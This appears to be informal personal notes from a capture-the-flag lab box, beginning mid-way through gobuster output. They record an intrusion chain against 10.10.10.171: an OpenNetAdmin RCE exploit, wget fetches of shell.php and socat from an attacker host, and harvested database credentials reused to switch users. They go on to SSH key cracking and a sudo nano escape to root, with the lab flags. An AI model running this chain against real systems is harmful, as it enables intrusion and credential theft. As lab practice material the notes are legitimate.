Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/rockyou.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/02/04 15:25:17 Starting gobuster
===============================================================
/sierra (Status: 301)
/music (Status: 301)
[ERROR] 2020/02/04 15:25:30 [!] parse http://10.10.10.171/!@#$%^: invalid URL escape "%^"
/marga (Status: 301)
[ERROR] 2020/02/04 15:26:07 [!] parse http://10.10.10.171/!"£$%^: invalid URL escape "%^"
[ERROR] 2020/02/04 15:26:11 [!] parse http://10.10.10.171/!@#$%^&*(): invalid URL escape "%^&"
/?????? (Status: 200)


Went to music... hit login button on music screen.. redirected to 10.10.10.171/ona/

used RCE exploit found here https://www.exploit-db.com/exploits/47691

./script.sh http://10.10.10.171/ona/
$ wget 10.10.14.23:9002/shell.php
$ wget 10.10.14.23:9002/socat
$ chmod +x socat

talk about getting new socat binary becauseo of nc not working and the architecture

drop meterpreter binary


/opt/ona/www/local/config/database_settings.inc.php found db creds

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

tried to connect to db didnt work..
tried to su to jimmy ... used n1nj4W4rri0R! as pw

we in

Jimmy has permissions to a new directory /var/www/internal
new internal webpage on port 52846
use ssh portfowarding to be able to see the webpage on internal machine
"ssh -L 9002:127.0.0.1:52846 [email protected]" on local host
In the index file is a username and hash to the login of main.php
use online hashcracker to solve

Gives private ssh key for joanna.
crack key using ssh2john.py
get passwd bloodninjas

ssh in using key

user.txt
c9b2cf07d40807e62af62660f0c81b5f

sudo -l
can use nano with no password to see /opt/priv root is also editng opt priv usinf GTFOnins escape shell with
"
sudo nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

root shell

root.txt
2f907ed450b361b2c2bf4e8795d5b561